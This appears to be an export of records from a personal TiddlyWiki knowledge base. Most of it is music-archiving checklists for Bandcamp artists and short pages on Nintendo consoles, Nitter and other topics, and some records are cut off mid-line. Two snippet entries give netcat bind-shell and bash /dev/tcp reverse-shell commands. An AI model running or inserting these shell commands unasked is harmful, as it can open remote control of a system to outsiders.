{"created":"20220921195911403","text":"\u003C$importvariables filter=\"$:/Macros [[$:/Macros/Music Archiving Status]]\">\n\n!!! Android52 || [[Bandcamp|https://android52.bandcamp.com/music]]\n\n\u003C\u003CTable \"\"\"\n\u003C\u003Cr \"52 days of autumn\">>\n\u003C\u003Cr \"ADORE ADORE ADORE\">>\n\u003C\u003Cr \"ANDROID52 COLLECT\">>\n\u003C\u003Cr \"android52 presents FILE CORRUPTED\">>\n\u003C\u003Cr \"android52 presents WELCOME NEW GALAXY\">>\n\u003C\u003Cr \"~~CYGNUS~~\" \"In album: ADORE ADORE ADORE\">>\n\u003C\u003Cr \"Float Islands\">>\n\u003C\u003Cr \"FUTURE GROOVE PRODUCT\">>\n\u003C\u003Cr \"I Love You\">>\n\u003C\u003Cr \"NONPLUSULTRA, Vol. 1\">>\n\u003C\u003Cr \"NONPLUSULTRA, Vol. 2\">>\n\u003C\u003Cr \"NONPLUSULTRA, Vol. 3\">>\n\u003C\u003Cr \"The B-Sides\">>\n\u003C\u003Cr \"TYPE R-510\">>\n\u003C\u003Cr \"ULTRA GROOVE PRODUCT\">>\n\"\"\">>","tags":"Archiving Music","title":"Music Archiving Status/Android52","modified":"20220923065125030","52 days of autumn - GotLossless":"false","ADORE ADORE ADORE - GotLossless":"false","android52 presents FILE CORRUPTED - GotLossless":"false","android52 presents WELCOME NEW GALAXY - GotLossless":"false","Float Islands - GotLossless":"false","FUTURE GROOVE PRODUCT - GotLossless":"false","I Love You - GotLossless":"false","The B-Sides - GotLossless":"false","TYPE R-510 - GotLossless":"false","ULTRA GROOVE PRODUCT - GotLossless":"false","52 days of autumn - GotAny":"true","ADORE ADORE ADORE - GotAny":"true","android52 presents FILE CORRUPTED - GotAny":"true","android52 presents WELCOME NEW GALAXY - GotAny":"true","Float Islands - GotAny":"true","FUTURE GROOVE PRODUCT - GotAny":"true","I Love You - GotAny":"true","The B-Sides - GotAny":"true","TYPE R-510 - GotAny":"true","ULTRA GROOVE PRODUCT - GotAny":"true"},
2022-09-23 08:32:36 +00:00
{"created":"20220923061532177","text":"\u003C$importvariables filter=\"$:/Macros [[$:/Macros/Music Archiving Status]]\">\n\n!!! Desired || [[Bandcamp|https://desired.bandcamp.com/music]]\n\n\u003C\u003CTable \"\"\"\n\u003C\u003Cr \"BEST BEFORE 1998\">>\n\u003C\u003Cr \"Concrete Jungle\">>\n\u003C\u003Cr \"Day Of Destiny\">>\n\u003C\u003Cr \"Digital Love\">>\n\u003C\u003Cr Desired>>\n\u003C\u003Cr Dreamland>>\n\u003C\u003Cr Emotions>>\n\u003C\u003Cr \"Every Part of Me Loves You Bae\">>\n\u003C\u003Cr \"Eyes On Me\">>\n\u003C\u003Cr \"Fairy Tale\">>\n\u003C\u003Cr \"Get Rdy\">>\n\u003C\u003Cr Heaven>>\n\u003C\u003Cr \"Honey Bunny\">>\n\u003C\u003Cr \"I Want You\">>\n\u003C\u003Cr Lost>>\n\u003C\u003Cr Lovestory>>\n\u003C\u003Cr \"memory tape\">>\n\u003C\u003Cr \"Momo Club\">>\n\u003C\u003Cr nineteen>>\n\u003C\u003Cr \"Nothing Wrong\">>\n\u003C\u003Cr \"Only Friends\">>\n\u003C\u003Cr \"Party All The Night\">>\n\u003C\u003Cr \"Plastic Little\">>\n\u003C\u003Cr \"PLASTIC WHATEVER\">>\n\u003C\u003Cr \"Princess Serenity\">>\n\u003C\u003Cr \"Shambara - Solid Dance (Desired Bootleg)\">>\n\u003C\u003Cr \"Soul Ascension\">>\n\u003C\u003Cr \"Special Christmas!\">>\n\u003C\u003Cr \"Special Love\">>\n\u003C\u003Cr \"The Sweetest Dream\">>\n\u003C\u003Cr \"The Last Dance Of The Night\">>\n\u003C\u003Cr Timeless>>\n\u003C\u003Cr \"Time To\">>\n\u003C\u003Cr \"Tropical Adventure\">>\n\u003C\u003Cr \"Vanilla Pepsi (Desired Edit)\">>\n\u003C\u003Cr \"Wake Up\">>\n\u003C\u003Cr \"Wish I Knew\">>\n\u003C\u003Cr \"Yatsuro Tamashita\">>\n\"\"\">>\n\n!!!! Singles in Albums\n\n* Never Fall In Love Again (ft. コTHOUGHTS), BROKEN HEART 月​野​う​さ​ぎ, All I Need, SUNSHINE AEROBICS, I'm So Alone, Don't Stop, めE X C U S E S : Lovestory\n* Timeless : Timeless","tags":"Archiving Music","title":"Music Archiving Status/Desired","modified":"20220923083214510","Momo Club - GotAny":"true","Timeless - GotAny":"true","nineteen - GotAny":"true","Lovestory - GotAny":"true","BEST BEFORE 1998 - GotAny":"true","PLASTIC WHATEVER - GotAny":"true"," The Sweetest Dream - GotAny":"true","Desired - GotAny":"true","memory tape - GotAny":"true","Concrete Jungle - GotAny":"true"},
2022-09-23 07:12:10 +00:00
{"created":"20220922190748421","text":"\u003C$importvariables filter=\"$:/Macros [[$:/Macros/Music Archiving Status]]\">\n\n!!! marsy || [[Bandcamp|https://marsy.bandcamp.com/music]]\n\n\u003C\u003CTable \"\"\"\n\u003C\u003Cr ACTION>>\n\u003C\u003Cr \"actual content\">>\n\u003C\u003Cr \"ANIME GROOVES PART I\">>\n\u003C\u003Cr \"ANIME GROOVES PART II\">>\n\u003C\u003Cr Classics>>\n\u003C\u003Cr \"CLIMAX (single)\">>\n\u003C\u003Cr DREAMY>>\n\u003C\u003Cr \"ELECTROLYZE (single)\">>\n\u003C\u003Cr \"ELECTROLYZE (2022 VER.)\">>\n\u003C\u003Cr Her>>\n\u003C\u003Cr \"Her (2022 Remastered)\">>\n\u003C\u003Cr \"Kyary Collection\">>\n\u003C\u003Cr MARIYASTEP!>>\n\u003C\u003Cr \"MARSY/SELF TITLED\" \"Got for free from BOGUS COLLECTIVE\">>\n\u003C\u003Cr \"my childhood\">>\n\u003C\u003Cr Orenji>>\n\u003C\u003Cr \"Rock ya feet!\">>\n\u003C\u003Cr \"Rude Buster\">>\n\u003C\u003Cr \"She Loves Me\">>\n\u003C\u003Cr spring>>\n\u003C\u003Cr \"STROBE LIGHT (feat. Hatsune Miku)\">>\n\u003C\u003Cr Superheroes>>\n\u003C\u003Cr Sweet-Sides>>\n\u003C\u003Cr \"Sweet-Sides (2022 Remastered)\">>\n\"\"\">>","tags":"Music Archiving","title":"Music Archiving Status/marsy","modified":"20220923065546014","ACTION - GotAny":"true","ACTION - GotLossless":"true","ACTION - UploadedLossless:Archive.org":"true","actual content - GotAny":"true","actual content - GotLossless":"true","actual content - UploadedLossless:Archive.org":"true","ANIME GROOVES PART I - GotAny":"true","ANIME GROOVES PART I - GotLossless":"true","ANIME GROOVES PART I - UploadedLossless:Archive.org":"true","ANIME GROOVES PART II - GotAny":"true","ANIME GROOVES PART II - GotLossless":"true","ANIME GROOVES PART II - UploadedLossless:Archive.org":"true","DREAMY - GotAny":"true","DREAMY - GotLossless":"true","DREAMY - UploadedLossless:Archive.org":"true","ELECTROLYZE (single) - GotAny":"true","ELECTROLYZE (single) - GotLossless":"true","ELECTROLYZE (single) - UploadedLossless:Archive.org":"true","ELECTROLYZE (2022 VER.) - GotAny":"true","ELECTROLYZE (2022 VER.) - GotLossless":"true","ELECTROLYZE (2022 VER.) - UploadedLossless:Archive.org":"true","Her - GotAny":"true","Her - GotLossless":"true","Her - UploadedLossless:Archive.org":"true","Her (2022 Remastered) - GotAny":"true","Her (2022 Remastered) - GotLossless":"true","Her (2022 Remastered) - UploadedLossless:Archive.org":"true","Kyary Collection - GotAny":"true","Kyary Collection - GotLossless":"true","Kyary Collection - UploadedLossless:Archive.org":"true","MARIYASTEP! - GotAny":"true","MARSY/SELF TITLED - GotLossless":"true","MARIYASTEP! - UploadedLossless:Archive.org":"true","MARIYASTEP! - GotLossless":"true","Orenji - GotAny":"true","Orenji - GotLossless":"true","Orenji - UploadedLossless:Archive.org":"true","Rock ya feet! - GotAny":"true","Rock ya feet! - GotLossless":"true","Rock ya feet! - UploadedLossless:Archive.org":"true","Rude Buster - GotAny":"true","Rude Buster - GotLossless":"true","Rude Buster - UploadedLossless:Archive.org":"true","She Loves Me - GotAny":"true","She Loves Me - GotLossless":"true","She Loves Me - UploadedLossless:Archive.org":"true","Superheroes - GotAny":"true","Superheroes - GotLossless":"true","Superheroes - UploadedLossless:Archive.org":"true","Sweet-Sides - GotAny":"true","Sweet-Sides - GotLossless":"true","Sweet-Sides - UploadedLossless:Archive.org":"true","Sweet-Sides (2022 Remastered) - GotAny":"true","Sweet-Sides (2022 Remastered) - GotLossless":"true","Sweet-Sides (2022 Remastered) - UploadedLossless:Archive.org":"true","spring - GotAny":"true","spring - GotLossless":"true","spring - UploadedLossless:Archive.org":"true","my childhood - GotAny":"true","my childhood - GotLossless":"true","my childhood - UploadedLossless:Archive.org":"true","MARSY/SELF TITLED - GotAny":"true","MARSY/SELF TITLED - UploadedLossless:Archive.org":"true","STROBE LIGHT (feat. Hatsune Miku) - GotAny":"true","STROBE LIGHT (feat. Hatsune Miku) - GotLossless":"true","CLIMAX (single) - GotAny":"true","CLIMAX (single) - GotLossless":"true","CLIMAX (single) - UploadedLossless:Archive.org":"true","STROBE LIGHT (feat. Hatsune Miku
{"created":"20220922051649658","text":"\u003C$importvariables filter=\"$:/Macros [[$:/Macros/Music Archiving Status]]\">\n\n!!! Moe Shop || [[Bandcamp|https://moeshop.bandcamp.com/music]]\n\n\u003C\u003CTable \"\"\"\n\u003C\u003Cr Cerise>>\n\u003C\u003Cr \"Charm (w/ Puniden)\">>\n\u003C\u003Cr Highlight>>\n\u003C\u003Cr \"Identity (w/ SEIJ)\">>\n\u003C\u003Cr \"Love Taste (w/ Jamie Paige & Shiki)\">>\n\u003C\u003Cr \"Love Taste Remixes\">>\n\u003C\u003Cr \"Moe Moe\">>\n\u003C\u003Cr \"Moshi Moshi\">>\n\u003C\u003Cr \"Natural (w/ Ace Hashimoto)\">>\n\u003C\u003Cr \"Pastel (w/ Snail's House)\">>\n\u003C\u003Cr \"Pure Pure\">>\n\u003C\u003Cr \"the new flying witch groove\">>\n\u003C\u003Cr \"the new moe groove\">>\n\u003C\u003Cr \"Want You\">>\n\u003C\u003Cr \"WONDER POP\">>\n\u003C\u003Cr \"WWW (feat. EDOGA-SULLIVAN)\">>\n\u003C\u003Cr \"fusq - Blush (ft. MYLK) (Moe Shop Remix)\">>\n\u003C\u003Cr \"Hentai Dude - Tokyo Chopp [ft. Shiki(TMNS)] (Moe Shop Remix)\">>\n\"\"\">>","tags":"Archiving Music","title":"Music Archiving Status/Moe Shop","modified":"20220923070904590","Blush (ft. MYLK) (Moe Shop Remix) - GotAny":"true","Cerise - GotAny":"true","Charm (w/ Puniden) - GotAny":"true","Highlight - GotAny":"true","Identity (w/ SEIJ) - GotAny":"true","Love Taste (w/ Jamie Paige & Shiki) - GotAny":"true","Moe Moe - GotAny":"true","Moshi Moshi - GotAny":"true","Natural (w/ Ace Hashimoto) - GotAny":"true","Pastel (w/ Snail's House) - GotAny":"true","Pure Pure - GotAny":"true","WONDER POP - GotAny":"true","WWW (feat. EDOGA-SULLIVAN) - GotAny":"true","the new flying witch groove - GotAny":"true","Blush (ft. MYLK) (Moe Shop Remix) - GotLossless":"true","Blush (ft. MYLK) (Moe Shop Remix) - UploadedLossless:Archive.org":"true","Charm (w/ Puniden) - GotLossless":"true","Charm (w/ Puniden) - UploadedLossless:Archive.org":"true","Hentai Dude - Tokyo Chopp [ft. Shiki(TMNS)] (Moe Shop Remix) - GotAny":"true","Hentai Dude - Tokyo Chopp [ft. Shiki(TMNS)] (Moe Shop Remix) - GotLossless":"true","Hentai Dude - Tokyo Chopp [ft. Shiki(TMNS)] (Moe Shop Remix) - UploadedLossless:Archive.org":"true","Highlight - GotLossless":"true","Highlight - UploadedLossless:Archive.org":"true","Love Taste (w/ Jamie Paige & Shiki) - GotLossless":"true","Love Taste (w/ Jamie Paige & Shiki) - UploadedLossless:Archive.org":"true","Love Taste Remixes - GotAny":"true","Love Taste Remixes - GotLossless":"true","Love Taste Remixes - UploadedLossless:Archive.org":"true","Moshi Moshi - GotLossless":"true","Moshi Moshi - UploadedLossless:Archive.org":"true","Pastel (w/ Snail's House) - GotLossless":"true","Natural (w/ Ace Hashimoto) - GotLossless":"true","Natural (w/ Ace Hashimoto) - UploadedLossless:Archive.org":"true","Pastel (w/ Snail's House) - UploadedLossless:Archive.org":"true","Want You - GotAny":"true","Want You - GotLossless":"true","Want You - UploadedLossless:Archive.org":"true","Pure Pure - GotLossless":"true","Pure Pure - UploadedLossless:Archive.org":"true","the new moe groove - GotAny":"true","the new flying witch groove - GotLossless":"true","the new moe groove - GotLossless":"true","the new flying witch groove - UploadedLossless:Archive.org":"true","the new moe groove - UploadedLossless:Archive.org":"true","fusq - Blush (ft. MYLK) (Moe Shop Remix) - GotAny":"true","fusq - Blush (ft. MYLK) (Moe Shop Remix) - GotLossless":"true","fusq - Blush (ft. MYLK) (Moe Shop Remix) - UploadedLossless:Archive.org":"true"},
{"created":"20220921172621560","text":"\u003C$importvariables filter=\"$:/Macros [[$:/Macros/Music Archiving Status]]\">\n\n!!! Ujico / Snail's House | [[Bandcamp|https://0101.bandcamp.com/music]]\n\n\u003C\u003CTable \"\"\"\n\u003C\u003Cr Balloons>>\n\u003C\u003Cr \"Biscuit Funk\">>\n\u003C\u003Cr BLITZ>>\n\u003C\u003Cr \"Candy Dash (VIP)\">>\n\u003C\u003Cr \"Christmas of a Wandering Ghost\">>\n\u003C\u003Cr \"Dream Castle EP\">>\n\u003C\u003Cr [FLOWERS]>>\n\u003C\u003Cr Imaginarium>>\n\u003C\u003Cr Journey>>\n\u003C\u003Cr \"Kawaii Collective\">>\n\u003C\u003Cr Kitty>>\n\u003C\u003Cr \"L'été\">>\n\u003C\u003Cr \"Love Magic\">>\n\u003C\u003Cr \"love songs\">>\n\u003C\u003Cr \"Love Story\">>\n\u003C\u003Cr \".。:+*mal d'amour.。:+*\">>\n\u003C\u003Cr \"Magical Holiday\">>\n\u003C\u003Cr \"Ordinary Songs 1\">>\n\u003C\u003Cr \"Ordinary Songs 2\">>\n\u003C\u003Cr \"Ordinary Songs 3\">>\n\u003C\u003Cr \"Ordinary Songs 4\">>\n\u003C\u003Cr \"Ordinary Songs 5\">>\n\u003C\u003Cr \"Pâtisserie Snail\">>\n\u003C\u003Cr \"Pixel Galaxy\">>\n\u003C\u003Cr PIXELIZE>>\n\u003C\u003Cr scenery>>\n\u003C\u003Cr \"Snailchan Adventure\">>\n\u003C\u003Cr Snö>>\n\u003C\u003Cr Storyteller>>\n\u003C\u003Cr SUPERGIRL>>\n\u003C\u003Cr \"Sweety Sweety\">>\n\u003C\u003Cr Twinklestar>>\n\u003C\u003Cr \"ujbeats vol.1\">>\n\u003C\u003Cr \"ujbeats vol.2\">>\n\u003C\u003Cr \"Warp Star\">>\n\u003C\u003Cr ~WonderWorld>>\n\u003C\u003Cr \"エイリアン☆ポップ I\">>\n\u003C\u003Cr \"エイリアン☆ポップ II\">>\n\u003C\u003Cr \"エイリアン☆ポップ III\">>\n\u003C\u003Cr 妖>>\n\u003C\u003Cr \"空中都市\">>\n\u003C\u003Cr \"ドリームPrincess (Dream Princess) feat. 初音ミク\">>\n\u003C\u003Cr \"LADY'S ONLY Remixed by Snail's House - Digital Tattoo (Snail's House Remix)\">>\n\"\"\">>","tags":"Archiving Music","title":"Music Archiving Status/Ujico / Snail's House","modified":"20220923070856816","Balloons - GotLossless":"true","Balloons - UploadedLossless:Archive.org":"true","LADY'S ONLY Remixed by Snail's House - Digital Tattoo (Snail's House Remix) - GotLossless":"true","LADY'S ONLY Remixed by Snail's House - Digital Tattoo (Snail's House Remix) - UploadedLossless:Archive.org":"true","Christmas of a Wandering Ghost - GotLossless":"true","Christmas of a Wandering Ghost - UploadedLossless:Archive.org":"true","Kawaii Collective - GotLossless":"true","Kawaii Collective - UploadedLossless:Archive.org":"true",".。:+*mal d'amour.。:+* - GotLossless":"true",".。:+*mal d'amour.。:+* - UploadedLossless:Archive.org":"true","Ordinary Songs 1 - GotLossless":"true","Ordinary Songs 2 - GotLossless":"true","Ordinary Songs 3 - GotLossless":"true","Ordinary Songs 4 - GotLossless":"true","Ordinary Songs 5 - GotLossless":"true","Ordinary Songs 5 - UploadedLossless:Archive.org":"true","Ordinary Songs 4 - UploadedLossless:Archive.org":"true","Ordinary Songs 3 - UploadedLossless:Archive.org":"true","Ordinary Songs 2 - UploadedLossless:Archive.org":"true","Ordinary Songs 1 - UploadedLossless:Archive.org":"true","ujbeats vol.1 - GotLossless":"true","ujbeats vol.1 - UploadedLossless:Archive.org":"true","ドリームPrincess (Dream Princess) feat. 初音ミク - GotLossless":"true","ドリームPrincess (Dream Princess) feat. 初音ミク - UploadedLossless:Archive.org":"true","Candy Dash (VIP) - GotLossless":"true","Candy Dash (VIP) - UploadedLossless:Archive.org":"true","Balloons - GotAny":"true","Candy Dash (VIP) - GotAny":"true","LADY'S ONLY Remixed by Snail's House - Digital Tattoo (Snail's House Remix) - GotAny":"true","Christmas of a Wandering Ghost - GotAny":"true","Kawaii Collective - GotAny":"true",".。:+*mal d'amour.。:+* - GotAny":"true","Ordinary Songs 1 - GotAny":"true","Ordinary Songs 2 - GotAny":"true","Ordinary Songs 3 - GotAny":"true","Ordinary Songs 4 - GotAny":"true","Ordinary Songs 5 - GotAny":"true","ujbeats vol.1 - GotAny":"true","ドリームPrincess (Dream Princess) feat. 初音ミク - GotAny":"true","BLITZ - GotAny":"true","Pâtisserie Snail - GotAny":"true","Dream Castle EP - GotAny":"false","エイリアン☆ポッ
2023-02-06 11:43:53 +00:00
{"created":"20221202224129631","text":"From https://unix.stackexchange.com/a/345628:\n\nRun on host to spawn a network-attached shell (requires bash due to coproc):\n\n```bash\ncoproc netcat -l -p $PORT\nexec bash \u003C&${COPROC[0]} >&${COPROC[1]} 2>&1\n```\n\nRun on client to connect to host:\n\n```sh\nnc $ADDRESS $PORT\n```","tags":"Snippets $:/i18n:en","title":"netcat/Normal Shell","modified":"20230206111552224","modifier":"Octt"},
{"created":"20220926095309988","text":"0. Run on master (requires netcat):\n\n```sh\nnc -l -vv -p $PORT\n```\n\n1. Run on slave:\n\n```sh\nbash -i &> /dev/tcp/$ADDRESS/$PORT 0>&1\n```","tags":"Snippets $:/i18n:en","title":"netcat/Reverse Shell","modified":"20230206111552227","modifier":"Octt"},
{"created":"20220923110724649","creator":"Octt","text":"''Nintendo DS'' is a family of portable game consoles created by [[Nintendo|Nintendo:en]], succeding and preceding the GBA and 3DS families respectively.\n\n\u003C\u003CLImg \"https://web.archive.org/web/20220923111238/http://pbs.twimg.com/media/E5An_LGVkAQv9ol?format=jpg&name=large\" \"https://twitter.com/HugeNintendoDS/status/1409670660402466819?cxt=HHwWhsCiueb_k5AnAAAA\">>","title":"Nintendo DS:en","modified":"20230206111552230","tags":"Gaming Nintendo NDS Console $:/i18n:en","modifier":"Octt"},
{"created":"20221018215927772","text":"!! ''Moved''\n\nMoved to https://cryptpad.devol.it/sheet/#/2/sheet/view/kcmKvZ03cftF2U9SMlMk8m4s5XRVIVkb0SZTZIDqvL8/embed/\n\n\u003Cdel>\n\n!!! ''Licensed Games''\n\n* ''Animal Crossing: Wild World'' • Top screen is required to see stars, flying balloons, and Gulliver. It also shows the title screen logo, and the 3D world when a menu is open. All gameplay, dialogues, and menus are on the bottom screen, and the stylus or the buttons can be used interchangeably.\n\n* ''Kirby: Mass Attack'' • Top screen shows title screen logo, some tooltips in game, and stats (level name, points, fruits, Kirbys, medals). Gameplay and menus are on bottom screen, and only controlled with the stylus.\n\n* ''Kirby: Power'' Paintbrush\n\n* [Patch] ''New Super Mario Bros.'' (Macro-Friendly)\n\n* [Partially] ''Nintendogs''\n\n* ''Picross 3D'' • Top screen holds text like menu details and guides (like the tutorials), and puzzle overviews (in the selection menu and while playing), with details and time. The gameplay itself is on the bottom screen, and requires stylus and D-Pad/ABXY. To play without a top screen, it's effectively necessary to learn the unique game mechanics elsewhere (like in video gameplays).\n\n* ''Picross DS'' • Top screen has some text, for menu items details, tutorials and explanations, overwiew of puzzles in the selection menu, and their status (as well as time) while playing them. Gameplay is on the bottom screen, and requires either the D-Pad, A, B buttons, or the stylus (as well as START to access the pause menu).\n\n* ''Pokemon Dash''\n\n* [?] ''Pokemon Link!''\n\n* ''Puyo Puyo!! 20th anniversary'' • Top screen has details for menu entries, some secondary dialogues (the story ones happen on the bottom), points and results, and decorative in-game character animations. Menus can be navigated with either the buttons or the touch screen; gameplay happens on the bottom screen with D-Pad and A/B buttons.\n\n* [?] ''Puzzle League DS''\n\n* ''Tetris DS''\n\n* ''The Legend of Zelda: Phantom Hourglass''\n\n* [?] ''The Legend of Zelda - Spirit Tracks''\n\n* [?] ''Tingle no Balloon Fight DS''\n\n* [?] ''WarioWare: Do It Yourself''\n\n* [?] ''WarioWare: Touched!''\n\n\n!!! ''Licensed Apps''\n\n* ''Nintendo DS Browser'' • Top screen shows software logos, current URL, WiFi signal status, loading animation, count of loaded/total page elements, random and contextual tooltips, and page scrollback buffer. Menu and web navigation happen entirely on the bottom screen, except when Panorama Mode (desktop view) is enabled. Navigation happens primarily with the stylus; buttons are supported only for some operations.\n\n\n!!! ''Homebrew Games''\n\n\n\n\n!!! ''Homebrew Apps''\n\n* ''Colors! DS'' • Top screen shows app logo while in the main menu, buttons legend while drawing, and the current drawing when opening a menu or optionally always. The touch screen is needed to select menu items, draw, and calibrate the digitizer; buttons are needed to operate drawing tools (moving, zooming, color picker, undo).\n\n\u003C/del>","tags":"Nintendo NDS Gaming $:/i18n:en","title":"Nintendo DS/Software Requiring Only the Bottom Screen","modified":"20230206111552237","modifier":"Octt"},
{"created":"20230202104823127","creator":"Octt","text":"\u003C\u003CMediaWiki Nintendo_Entertainment_System en 3>>","tags":"Nintendo Gaming $:/i18n:en","title":"Nintendo Entertainment System","modified":"20230206111552243","modifier":"Octt"},
2023-02-06 19:56:30 +00:00
{"created":"20220925130302833","creator":"Octt","text":"''Nintendo Switch'' is a family of portable game consoles created by [[Nintendo|Nintendo]]. It is notorius for being made of [[papier-mâché|Papier-mâché]], essentially suffering from a variety of structural problems.\n\n\u003C\u003CLImg \"https://i.ytimg.com/vi_webp/Cb-srOfRqNc/maxresdefault.webp\" \"https://youtu.be/Cb-srOfRqNc\">>\n\nThe console's introduction was hyped due to it being the first ever Nintendo console to be created with both home and portable use in mind. The name itself comes from the fact that the console can //switch//, from being connected to a TV to being able to be used standalone.\n\n!! ''Homebrew''\n\n* Alternative OSes: [[Ubuntu]] and [[LineageOS]] by ''[[switchroot|https://switchroot.org/]]''","tags":"Nintendo Gaming NX Console","title":"Nintendo Switch","modified":"20230206192820604","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230110214847556","text":"''[[Nitter|https://github.com/zedeus/nitter]]'' is a free and open source alternative [[Twitter|Twitter:en]] front-end focused on privacy and performance.\n\nQuoting from the project's README:\n\n\u003C\u003C\u003C\nInspired by the Invidious project.\n\n* No JavaScript or ads\n* All requests go through the backend, client never talks to Twitter\n* Prevents Twitter from tracking your IP or JavaScript fingerprint\n* Uses Twitter's unofficial API (no rate limits or developer account required)\n* Lightweight (60KB vs 784KB from twitter.com)\n* RSS feeds\n* Themes\n* Mobile support (responsive design)\n* AGPLv3 licensed, no proprietary instances permitted\n\u003C\u003C\u003C\n","tags":"Internet $:/i18n:en","title":"Nitter:en","modified":"20230206111552254","modifier":"Octt"},
{"created":"20230203222119146","creator":"Octt","text":"\u003C\u003CMediaWiki NodeMCU en 1>>\n\n* https://www.nodemcu.com/index_en.html","tags":"MCU $:/i18n:en","title":"NodeMCU:en","modified":"20230206111552260","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230111120518929","creator":"Octt","text":"\u003C\u003CMediaWiki Nonogram en 3>>\n\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://jokude.github.io/react-nonogram\">>\n\n!! ''Implementations''\n* https://Nonogram.com","tags":"TODO Puzzle $:/i18n:en Game","title":"Nonogram:en","modified":"20230206203924224","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230202110151955","creator":"Octt","text":"\u003C\u003CMediaWiki NumWorks en 3>>","tags":"$:/i18n:en","title":"NumWorks:en","modified":"20230206111552271","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230206204149478","creator":"Octt","text":"''Octt'', aka ''OctoSpacc'', or ''Andrea'', is me, the living entity who primarily maintains the [[OcttKB]]. I am powered by a natural neural network, in case that wasn't obvious.\n\n\u003C!--\nSome info about me should go here, I suppose, so here are some points:\n*\n\nNot much else for now. -->\n\nNo info about me here for now. Tough luck. Maybe go read the about page on my [[sitoctt]] in the meantime: https://sitoctt.octt.eu.org/Chi-Sono.html","tags":"","title":"Octt","modified":"20230206204924047","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20220920160811383","creator":"Octt","text":"!! Welcome to my Personal {Knowledge Base + Public Notebook}!\n\nGeneral information about the site will soon be available. Licensing information is available [[here|OcttKB/Licensing]].\n\n!!! ''Table of Contents''\n{{$:/OcttKB/ToC}}\n\n!!! ''External Links''\n* ''My Hub'', Global Home Page: https://hub.octt.eu.org - Links to my blog, webapps, and social profiles\n* ''KB Git Repo'' (deploy scripts, + some history): https://gitlab.com/octtspacc/OcttKB\n\n!!! ''Tags''\n{{$:/OcttKB/TagCloud}}\n\u003C!--\n\u003Cspan style=\"Line-Height:2em;\">\n\u003C$list filter=\"[tags[]!is[system]]\">\n\u003Cspan style=\"Padding:2px;\">\n\u003C$macrocall $name=\"tag\" tag={{!!caption}}/>\n\u003C/span>\n\u003C/$list>\n\u003C/span>\n--->\n\u003C!--\n\u003C\u003Clist-links filter:\"[!is[system]tags[]]\">>\n--->\n\n\u003Cbr>\n\n\u003Cdetails>\n \u003Csummary>\n \u003Ch3 style=\"display: inline; font-style: bold;\">\n All Tiddlers\n \u003C/h3>\n \u003C/summary>\n {{$:/OcttKB/AllTiddlers}}\n\u003C/details>\n\n\u003Cbr>\u003Chr>\u003Cbr>\n\n(Partial) [[Copyright © 2022, OctoSpacc|OcttKB/Licensing]] || OcttKB is powered by [[TiddlyWiki|TiddlyWiki]].\n\n\u003Csmall>//As with any TiddlyWiki, you can make your own changes right here and save them locally for yourself.//\u003C/small>","tags":"Meta TableOfContents $:/i18n:en","title":"OcttKB","modified":"20230206113209748","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230109220804304","creator":"Octt","text":"\u003C!--\n!! Clouds!\n\nAre these useless? ''Yes!'' But they are so pretty...\n\n{{$:/OcttKB/TagCloud}}\n--->\n\n\u003Cdiv style=\"height: 200px; max-width: 800px; margin: auto;\">\n\u003C$echarts $tiddler=\"$:/plugins/Gk0Wk/echarts/addons/GitHubHeatMap.js\" $width=\"100%\" $height=\"100%\" />\n\u003C/div>\n\n\u003Cbr />\u003Chr />\u003Cbr />\n\n\u003Cdiv class=\"NoSelect PIP-Select\">\n \u003C!--\n \u003Cspan>PIP (WIP): \u003C/span>\n \u003Cinput type=\"radio\" class=\"Radio-Btn PIP-Select\" name=\"PIP-20230202-2637\" value=\"↗️\" />\n \u003Clabel>↗️\u003C/label>\n \u003Cinput type=\"radio\" class=\"Radio-Btn PIP-Select\" name=\"PIP-20230202-2637\" value=\"↘️\" />\n \u003Clabel>↘️\u003C/label>\n \u003Cinput type=\"radio\" class=\"Radio-Btn PIP-Select\" name=\"PIP-20230202-2637\" value=\"❎\" checked=\"true\" />\n \u003Clabel>❎\u003C/label>\n -->\n \u003C!-- \u003Cdiv> -->\n \u003C$edit-text class=\"Edit-Text-Full\" tiddler=\u003C\u003CcurrentTiddler>> field=\".data-TheBrain-Tiddler\" />\n Depth: \u003C$range min=\"1\" max=\"8\" field=\".data-TheBrain-Levels\" /> {{!!.data-TheBrain-Levels}}\n \u003C$echarts $tiddler=\"$:/plugins/Gk0Wk/echarts/addons/TheBrain.js\" aliasField=\"caption\" levels={{!!.data-TheBrain-Levels}} focussedTiddler={{!!.data-TheBrain-Tiddler}} />\n \u003C!-- \u003C/div> -->\n\u003C/div>\n\n\u003Cbr />\u003Chr />\u003Cbr />\n\n\u003C$echarts $tiddler=\"$:/plugins/Gk0Wk/echarts/addons/TagCloud.js\" />\n\n\u003Cbr />\u003Chr />\u003Cbr />\n\nI still have to put a lot of stuff here... see [[OcttKB/WIP]]","tags":"OcttKB $:/i18n:en","title":"OcttKB/Data","modified":"20230206211234373","modifier":"Octt",".data-TheBrain-Tiddler":"OcttKB",".data-TheBrain-Levels":"6"},
2023-02-06 11:43:53 +00:00
{"created":"20220920160642961","creator":"Octt","text":"!!! Macros\n> \u003C\u003CTDirList $:/Macros 4>>\n\n!!! Theming\n> \u003C\u003CTDirList $:/Styles 4>>\n* [[$:/palettes/Octt Light]]\n\n!!! Modified system files\n* $:/StaticBanner (Shown as banner in statically exported pages)\n* $:/core/templates/static.content (Shown as static HTML content in the standard TiddlyWiki file)\n* $:/core/templates/exporters/StaticRiver (Added meta viewport for correct viewing on mobile) [[[Pull Request|https://github.com/Jermolene/TiddlyWiki5/pull/6953]]]\n\n\u003C!--\n* ~~$:/themes/tiddlywiki/vanilla (Changed paddings)~~\n-->","tags":"TiddlyWiki OcttKB $:/i18n:en","title":"OcttKB/Hacks","modified":"20230206111552293","modifier":"Octt"},
